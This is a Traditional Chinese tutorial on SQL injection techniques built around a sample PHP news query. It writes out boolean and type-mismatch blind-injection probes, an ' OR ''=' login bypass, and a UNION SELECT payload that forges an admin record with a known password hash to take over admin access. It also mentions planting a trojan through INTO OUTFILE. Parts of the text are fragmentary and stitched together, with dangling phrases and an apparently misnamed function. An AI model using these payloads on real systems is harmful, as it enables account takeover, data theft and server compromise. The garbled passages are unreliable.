SQL 注入的本質在於「控制結果集」。錯誤回顯分為邏輯錯誤、語法錯誤、執行期錯誤三類,理解結果集如何隨注入載荷變化,是掌握盲注、報錯注入、聯合查詢注入的關鍵。
以 $sql = "select * from news where id=$_GET[id]" 為例:
id=1 AND 1=2 → 結果集為 NULL,程式取值失敗,頁面內容消失或跳轉。id=1 OR 1=1 → 結果集極大(全表),若程式迴圈讀取會導致效能災難;若只取第一筆,可能返回非預期記錄(如非 id=1 的新聞)。null,可作為判斷特徵。語法錯誤導致 SQL 執行失敗,腳本中斷。若伺服器/腳本屏蔽錯誤訊息,程式繼續執行但結果集不存在(連 NULL 都不是),攻擊者觀測到的現象等同「結果集為空」。
BENCHMARK() 導致腳本超時,洩露物理路徑。利用 IFF(條件, 真值, 假值) 的型別差異製造語法錯誤:
IFF(1=1, 1, 'no') → 返回數值 1
IFF(1=2, 1, 'no') → 返回字串 'no'
id=1 AND 1=IFF(1=1,1,'no') → 型別一致,邏輯成立
id=1 AND 1=IFF(1=2,1,'no') → 數值比較字串,觸發語法錯誤
透過「正常頁面」vs「錯誤頁面」的二元特徵提取資訊。可惜支援 IFF 的資料庫較少。
' OR ''='$sql = "select top 1 * from admin where username='$username' and password=md5('$password')";
-- 輸入 ' OR ''=' 使 WHERE 恆真,返回第一筆管理員記錄,驗證通過。
$sql = "select top 1 * from admin where username='$username'";
-- 傳入:' AND (1=2) UNION SELECT TOP 1 username, '123456的MD5', id FROM admin WHERE username='admin
-- 產生包含 admin 帳號、已知密碼雜湊的結果集,後續比對通過,繼承管理員權限。
UNION 要求欄位型別嚴格匹配,若型別不符會拋出語法錯誤導致結果集為 NULL,需精確構造對應型別的常數值。
利用 UNION SELECT 構造包含木馬路徑的結果集,配合 INTO OUTFILE 或類似機制落地執行。
核心結論:SQL 注入攻防的本質是「結果集控制權」的爭奪。靈活掌握邏輯/語法/執行期錯誤產生的結果集差異,配合 UNION、IFF、時間延遲等技術,才能在各類資料庫與應用場景中精準提取資訊或繞過驗證。